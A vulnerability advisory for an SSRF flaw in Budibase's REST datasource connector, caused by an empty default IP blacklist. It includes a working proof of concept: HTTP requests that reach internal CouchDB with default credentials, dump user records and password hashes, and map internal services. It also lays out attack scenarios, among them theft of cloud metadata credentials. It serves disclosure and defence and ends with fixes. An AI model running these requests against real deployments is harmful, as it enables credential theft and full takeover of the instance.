CVE-2026-31818 — Vulnerability in @budibase/backend-core — CVE Details

## 1. Summary | Field | Value | |-------|-------| | **Title** | SSRF via REST Connector with Empty Default Blacklist Leading to Full Internal Data Exfiltration | | **Product** | Budibase | | **Version** | 3.30.6 (latest stable as of 2026-02-25) | | **Component** | REST Datasource Integration + Backend-Core Blacklist Module | | **Severity** | Critical | | **Attack Vector** | Network | | **Privileges Required** | Low (Builder role, or QUERY WRITE for execution of pre-existing queries) | | **User Interaction** | None | | **Affected Deployments** | All self-hosted instances without explicit `BLACKLIST_IPS` configuration (believed to be the vast majority) | --- ## 2. Description A critical Server-Side Request Forgery (SSRF) vulnerability exists in Budibase's REST datasource connector. The platform's SSRF protection mechanism (IP blacklist) is rendered completely ineffective because the `BLACKLIST_IPS` environment variable is **not set by default** in any of the official deployment configurations. When this variable is empty, the blacklist function unconditionally returns `false`, allowing all requests through without restriction. This allows any user with `Builder` privileges (or `QUERY WRITE` permission on an existing query) to create REST datasources pointing to arbitrary internal network services, execute queries against them, and fully exfiltrate the responses — including credentials, database contents, and internal service metadata. The vulnerability is particularly severe because: 1. The CouchDB backend stores all user credentials (bcrypt hashes), platform configurations, and application data 2. CouchDB credentials are embedded in the environment variables visible to the application container 3. A successful exploit grants full read/write access to the entire Budibase data layer --- ## 3. Root Cause Analysis ### 3.1 Blacklist Implementation **File**: `packages/backend-core/src/blacklist/blacklist.ts` ```typescript // Line 23-37: Blacklist refresh reads from environment variable export async function refreshBlacklist() { const blacklist = env.BLACKLIST_IPS // ← reads BLACKLIST_IPS const list = blacklist?.split(",") || [] // ← empty array if unset let final: string[] = [] for (let addr of list) { // ... resolves domains to IPs } blackListArray = final // ← empty array } // Line 39-54: Blacklist check export async function isBlacklisted(address: string): Promise<boolean> { if (!blackListArray) { await refreshBlacklist() } if (blackListArray?.length === 0) { return false // ← ALWAYS returns false when empty } // ... rest of check never executes } ``` **Problem**: When `BLACKLIST_IPS` is not set (the default), `blackListArray` is initialized as an empty array, and `isBlacklisted()` unconditionally returns `false` for every URL. ### 3.2 Default Configuration Missing BLACKLIST_IPS **File**: `hosting/.env` (official Docker Compose deployment template) ```env MAIN_PORT=10000 API_ENCRYPTION_KEY=testsecret JWT_SECRET=testsecret MINIO_ACCESS_KEY=budibase MINIO_SECRET_KEY=budibase COUCH_DB_PASSWORD=budibase COUCH_DB_USER=budibase REDIS_PASSWORD=budibase INTERNAL_API_KEY=budibase # ... (19 other variables) # BLACKLIST_IPS is NOT present ``` No default private IP ranges (RFC1918, localhost, cloud metadata) are hardcoded as fallback. ### 3.3 REST Integration Blacklist Check **File**: `packages/server/src/integrations/rest.ts` ```typescript // Line 684-686: Blacklist check before fetch const url = this.getUrl(path, queryString, pagination, paginationValues) if (await blacklist.isBlacklisted(url)) { // ← always false throw new Error("Cannot connect to URL.") // ← never reached } // Line 708: response = await fetch(url, input) // ← unrestricted fetch ``` ### 3.4 Authorization Model | Operation | Endpoint | Required Permission | |-----------|----------|-------------------| | Create datasource | `POST /api/datasources` | `BUILDER` (app-level) | | Create query | `POST /api/queries` | `BUILDER` (app-level) | | Execute query | `POST /api/v2/queries/:id` | `QUERY WRITE` (can be granted to any app user) | **Route definitions**: - `packages/server/src/api/routes/datasource.ts:19` → `builderRoutes` - `packages/server/src/api/routes/query.ts:33` → `builderRoutes` (create) - `packages/server/src/api/routes/query.ts:55-66` → `writeRoutes` with `PermissionType.QUERY, PermissionLevel.WRITE` (execute) **Key insight**: The `BUILDER` role is an app-level permission, significantly lower than `GLOBAL_BUILDER` (platform admin). In multi-user environments, builders are expected to create app logic but are NOT expected to have access to infrastructure-level data. --- ## 4. Impact Analysis ### 4.1 Confidentiality — Critical An attacker can read: - **All CouchDB databases** (`/_all_dbs`) - **User credentials** including bcrypt password hashes, email addresses (`/global-db/_all_docs?include_docs=true`) - **Platform configuration** including encryption keys, JWT secrets - **All application data** across every app in the instance - **Internal service metadata** (MinIO storage, Redis) ### 4.2 Integrity — High Through CouchDB's HTTP API (which supports PUT/POST/DELETE), an attacker can: - **Modify user records** to escalate privileges - **Create new admin accounts** directly in CouchDB - **Alter application data** in any app's database - **Delete databases** causing data loss ### 4.3 Availability — Medium - **Resource exhaustion** by making the server proxy large responses from internal services - **Database destruction** via CouchDB DELETE operations - **Service disruption** by modifying critical configuration documents ### 4.4 Scope Change The vulnerability crosses the security boundary between the Budibase application layer and the infrastructure layer. A `Builder` user should only be able to configure app-level logic, but this vulnerability grants direct access to: - CouchDB (database layer) - MinIO (storage layer) - Redis (cache/session layer) - Any other service accessible from the Docker network --- ## 5. Proof of Concept ### 5.1 Environment Setup ```bash cd hosting/ docker compose up -d # Wait for services to start # Create admin account via POST /api/global/users/init # Login to obtain session cookie ``` **Tested on**: Budibase v3.30.6, Docker Compose deployment with default `hosting/.env` ### 5.2 Step 1 — Create REST Datasource Targeting Internal CouchDB ```http POST /api/datasources HTTP/1.1 Host: localhost:10000 Content-Type: application/json Cookie: budibase:auth=<session_token> x-budibase-app-id: <app_id> { "datasource": { "name": "Internal CouchDB", "source": "REST", "type": "datasource", "config": { "url": "http://couchdb-service:5984", "defaultHeaders": {} } } } ``` **Response** (201 — datasource created successfully): ```json { "datasource": { "_id": "datasource_4530e34a8b2e423f8f8eb53e2b2cefc6", "name": "Internal CouchDB", "source": "REST", "config": { "url": "http://couchdb-service:5984" } } } ``` No warning, no validation error — an internal hostname is accepted without restriction. ### 5.3 Step 2 — Query CouchDB Version (Confirm Connectivity) Create and execute a query to `GET /`: ```http POST /api/v2/queries/<query_id> HTTP/1.1 ``` **Response** — Internal CouchDB data returned to the attacker: ```json { "data": [{ "couchdb": "Welcome", "version": "3.3.3", "git_sha": "40afbcfc7", "uuid": "9cd97b58e2cef72e730a83247c377d2b", "features": ["search","access-ready","partitioned", "pluggable-storage-engines","reshard","scheduler"], "vendor": {"name": "The Apache Software Foundation"} }], "code": 200, "time": "44ms" } ``` ### 5.4 Step 3 — Enumerate All Databases Query: `GET /_all_dbs` with CouchDB admin credentials (from `.env`: `budibase:budibase`) ```json { "data": [ {"value": "_replicator"}, {"value": "_users"}, {"value": "app_dev_3eeb8d7949074250ae62f206ad0b61a5"}, {"value": "app_dev_5135f7f368bc4701a7f163baaf22f1b7"}, {"value": "global-db"}, {"value": "global-info"} ] } ``` ### 5.5 Step 4 — Exfiltrate User Credentials and Platform Secrets Query: `GET /global-db/_all_docs?include_docs=true&limit=20` Headers: `Authorization: Basic YnVkaWJhc2U6YnVkaWJhc2U=` (budibase:budibase) **Response** — Full user record with bcrypt hash: ```json { "data": [{ "total_rows": 4, "rows": [ { "id": "config_settings", "doc": { "_id": "config_settings", "type": "settings", "config": { "platformUrl": "http://localhost:10000", "uniqueTenantId": "23ba9844703049778d75372e720c7169_default" } } }, { "id": "us_09c5f0a89b7f40c19db863e1aaaf90fd", "doc": { "_id": "us_09c5f0a89b7f40c19db863e1aaaf90fd", "email": "admin@test.com", "password": "$2b$10$uQl69b/H22QnV61qZE2OmuChFAca43yicgorlJBwwNinJwQcOiPbK", "builder": {"global": true}, "admin": {"global": true}, "tenantId": "default", "status": "active" } }, { "id": "usage_quota", "doc": { "_id": "usage_quota", "quotaReset": "2026-03-01T00:00:00.000Z", "usageQuota": {"apps": 2, "users": 1, "creators": 1} } } ] }] } ``` **Exfiltrated data includes**: - Admin email: `admin@test.com` - Bcrypt password hash: `$2b$10$uQl69b/H22QnV61qZE2OmuChFAca43yicgorlJBwwNinJwQcOiPbK` - Role information: `builder.global: true`, `admin.global: true` - Tenant ID, platform URL, quota information ### 5.6 Step 5 — Access Other Internal Services **MinIO (Object Storage)**: ``` Datasource URL: http://minio-service:9000 Response: {"Code":"BadRequest","Message":"An unsupported API call..."} Server header: MinIO ``` Confirms MinIO is reachable. With proper S3 API signatures, bucket contents could be listed and files exfiltrated. **Redis (Port Scanning)**: ``` Datasource URL: http://redis-service:6379 Response: "fetch failed" (Redis speaks non-HTTP protocol) ``` Different error from non-existent host → confirms service discovery capability. **Non-existent service**: ``` Datasource URL: http://nonexistent-service:12345 Response: "fetch failed" ``` ### 5.7 Service Discovery Matrix | Target | URL | Response | Service Confirmed | |--------|-----|----------|-------------------| | CouchDB | `http://couchdb-service:5984/` | `{"couchdb":"Welcome","version":"3.3.3"}` | Yes — full data access | | MinIO | `http://minio-service:9000/` | XML error with `Server: MinIO` header | Yes — storage access | | Redis | `http://redis-service:6379/` | `socket hang up` / `fetch failed` | Yes — port open | | Non-existent | `http://nonexistent:12345/` | `fetch failed` (ENOTFOUND) | No — different error | This differential response enables internal network mapping. --- ## 6. Attack Scenarios ### Scenario A: Builder User Steals All Credentials 1. User has `Builder` role for one app 2. Creates REST datasource → `http://couchdb-service:5984` 3. Queries `global-db` to get all user records with password hashes 4. Cracks bcrypt hashes offline or directly modifies user records via CouchDB PUT ### Scenario B: Chained with CVE-2026-25040 (Unpatched Privilege Escalation) 1. Attacker has `Creator` role (lower than Builder) 2. Exploits CVE-2026-25040 to invite themselves as Admin 3. Now has Builder access → exploits this SSRF 4. Complete instance takeover ### Scenario C: Cloud Metadata Exfiltration (AWS/GCP/Azure) 1. On cloud-hosted instances, datasource URL: `http://169.254.169.254/latest/meta-data/` 2. Retrieves IAM credentials, instance metadata 3. Pivots to cloud infrastructure --- ## 7. Affected Code Paths ``` User Request │ ▼ POST /api/datasources [BUILDER permission] │ packages/server/src/api/routes/datasource.ts:32 │ → No URL validation on datasource.config.url ▼ POST /api/v2/queries/:queryId [QUERY WRITE permission] │ packages/server/src/api/routes/query.ts:63 ▼ packages/server/src/threads/query.ts │ → Executes query via REST integration ▼ packages/server/src/integrations/rest.ts │ Line 684: blacklist.isBlacklisted(url) → returns false (empty list) │ Line 708: fetch(url, input) → unrestricted request ▼ Internal Service (CouchDB, MinIO, Redis, etc.) │ ▼ Response returned to attacker via query results ``` --- ## 8. Recommended Fixes ### Fix 1 (Critical): Add Default Private IP Blocklist ```typescript // packages/backend-core/src/blacklist/blacklist.ts const DEFAULT_BLOCKED_RANGES = [ "127.0.0.0/8", // localhost "10.0.0.0/8", // RFC1918 "172.16.0.0/12", // RFC1918 "192.168.0.0/16", // RFC1918 "169.254.0.0/16", // link-local / cloud metadata "0.0.0.0/8", // current network "::1/128", // IPv6 localhost "fc00::/7", // IPv6 private "fe80::/10", // IPv6 link-local ] export async function isBlacklisted(address: string): Promise<boolean> { // Always check against default blocked ranges // even when BLACKLIST_IPS is not configured const ips = await resolveToIPs(address) for (const ip of ips) { if (isInRange(ip, DEFAULT_BLOCKED_RANGES)) { return true } } // Then check user-configured blacklist // ...existing logic... } ``` ### Fix 2 (High): Validate Datasource URLs at Creation Time ```typescript // packages/server/src/api/controllers/datasource.ts async function save(ctx) { const { config } = ctx.request.body.datasource if (config?.url) { if (await blacklist.isBlacklisted(config.url)) { ctx.throw(400, "Cannot create datasource targeting internal network") } } // ... existing logic } ``` ### Fix 3 (Medium): Add DNS Rebinding Protection Resolve the target hostname at request time and re-check the resolved IP against the blacklist, preventing DNS rebinding attacks where the first lookup returns a public IP but the actual request resolves to an internal IP. ### Fix 4 (Medium): Disable HTTP Redirects or Re-validate After Redirect Ensure that if a response redirects to an internal IP, the redirect target is also checked against the blacklist.